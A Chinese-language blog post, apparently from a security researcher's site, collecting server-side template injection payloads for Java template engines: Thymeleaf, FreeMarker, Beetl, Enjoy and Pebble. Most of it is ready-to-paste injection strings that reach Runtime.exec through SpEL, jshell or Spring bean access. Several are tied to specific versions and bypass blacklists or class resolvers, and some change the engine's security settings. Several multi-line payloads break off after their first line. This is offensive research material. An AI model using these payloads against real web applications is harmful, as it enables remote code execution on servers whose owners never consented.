JAVA SSTI
# JAVA SSTI
# Thymeleaf SSTI
Thymeleaf 是 SpringBoot 中的一个模版引擎,类似于 python 的 jinja2,负责渲染前端页面。
# Thymeleaf 表达式
- 变量表达式:
${...}
- 选择变量表达式:
*{...}
- 消息表达:
#{...}
- 链接 URL 表达式:
@{...}
- 片段表达式:
~{...}
# 预处理
语法: __${expression}__
官方文档对其的解释:
除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能。
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。
预处理的表达式与普通表达式完全一样,但被双下划线符号(如
__${expression}__
)包围。
预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的 payload 即可达到任意代码执行
# payload 汇总
# thymeleaf
下面的 payload 基本都是换汤不换药
< v3.2.1 版本
payload:
1 | [[${springMacroRequestContext.webApplicationContext.beanFactory.createBean(springMacroRequestContext.webApplicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]] |
其他
1 | [[${springMacroRequestContext.webApplicationContext.getBean('jacksonObjectMapper').readValue("{}",''.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]] |
排列组合下一大堆
v3.2.1 版本(这个版本黑名单添加了一大堆, RequestContext
被拉进了黑名单,但还是存在绕过方法)
1 | [[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].beanFactory.createBean(#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]] |
其他
1 | [[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].getBean('jacksonObjectMapper').readValue("{}",''.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]] |
# freemarker
freemarker 相关 SSTI 的 payload 最简单的可能就是
1 | ${"freemarker.template.utility.Execute"?new()("calc")} |
但 2.3.17 版本以后,官方版本提供了三种 TemplateClassResolver 对类进行解析:
1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)
获取任何类。
2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime
、 freemarker.template.utility.Execute
、 freemarker.template.utility.ObjectConstructor
这三个类。
3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。
可通过 freemarker.core.Configurable#setNewBuiltinClassResolver
方法设置 TemplateClassResolver
,从而限制通过 new()
函数对 freemarker.template.utility.JythonRuntime
、 freemarker.template.utility.Execute
、 freemarker.template.utility.ObjectConstructor
这三个类的解析。
(设置不能解析任何类)
下面的 payload 可以在其设置了 ALLOWS_NOTHING_RESOLVER
之后依然可以 RCE,其原理就是利用 springMacroRequestContext.webApplicationContext
来获取到 freeMarkerConfiguration
这个 bean,从而修改其安全配置来达到绕过的效果
(v2.3.32)
1 | ${springMacroRequestContext.webApplicationContext.getBean('freeMarkerConfiguration').setNewBuiltinClassResolver(springMacroRequestContext.webApplicationContext.getBean('freeMarkerConfiguration').getDefaultConfiguration().getNewBuiltinClassResolver())} |
# beetl
其默认的安全策略如下 (3.15.14 版本)
显然很容易绕过,方法有很多了
例如
1 | ${ @java.beans.Beans.instantiate(null,"org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()").getValue()} |
下面是是用 springMacroRequestContext.webApplicationContext
,不用静态方法去实现 RCE
payload:
1 | <% |
其他
1 | <% |
方法很多了,不一一列举了
当然也可以结合其内置方法或其它静态方法去实现,方法很多,其他的就师傅们自己探索了,官方文档:https://www.kancloud.cn/xiandafu/beetl3_guide
# Enjoy
enjoy 有自己的黑名单,其限制
在 jdk17 下我们可以使用 jshell 来 rce
payload
1 | #((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec(new String("calc"));')) |
其他模板引擎像 thymeleaf 这种默认是可以调用 java 静态方法的,但参考 enjoy 模板引擎官方文档可以发现自 jfinal 5.0.2 开始其默认是不开启静态属性访问和静态方法调用的 https://jfinal.com/doc/6-3
那我们完全可以使用 springMacroRequestContext.webApplicationContext
来获取 jfinalViewResolver
这个 bean 来修改其配置,使其支持静态方法访问和调用
因为渲染执行顺序问题,先对所有的调用进行检查之后才执行,所以开启静态方法执行和调用 jshell 的 payload 要分开打
开启静态方法执行
1 | #(springMacroRequestContext.webApplicationContext.getBean('jfinalViewResolver').engine.setStaticMethodExpression(true)) |
之后用 jshell 执行命令 (jdk>=17)
1 | #((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec(new String("calc"));')) |
当然,我们也可以使用下面的 payload,还是利用 ApplicationContext 来绕过限制,这个是没有调用静态方法实现
payload:
1 | #set(applicationContext = springMacroRequestContext.webApplicationContext) |
其他
1 | #set(applicationContext = springMacroRequestContext.webApplicationContext) |
# pebble
黑名单限制如下
还是用同样的方法也能绕
payload:
1 | {% set applicationContext = springMacroRequestContext.webApplicationContext %} |
其他
1 | {% set applicationContext = springMacroRequestContext.webApplicationContext %} |
利用其内置的 beans 属性进行替换也是可以的
1 | {% set cachingMetadataReaderFactory = beans.get('org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory') %} |
# 总结
感觉比较万能的 payload 还是利用 beanFactory 中的 createBean 方法和获取的 ClassLoader 来实例化 org.springframework.expression.spel.standard.SpelExpressionParser
去执行 SpEl 表达式 RCE,这些都是 spring 默认自带的
我们利用 context = springMacroRequestContext.webApplicationContext
获取到应用程序上下文后,只需要执行下面的表达式就能够 RCE
1 | context.beanFactory.createBean(context.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser")).p |
- Title: JAVA SSTI
- Author: Fc04dB
- Created at : 2024-10-18 22:46:18
- Updated at : 2024-10-19 22:34:40
- Link: https://redefine.ohevan.com/2024/10/18/JAVA-SSTI/
- License: This work is licensed under CC BY-NC-SA 4.0.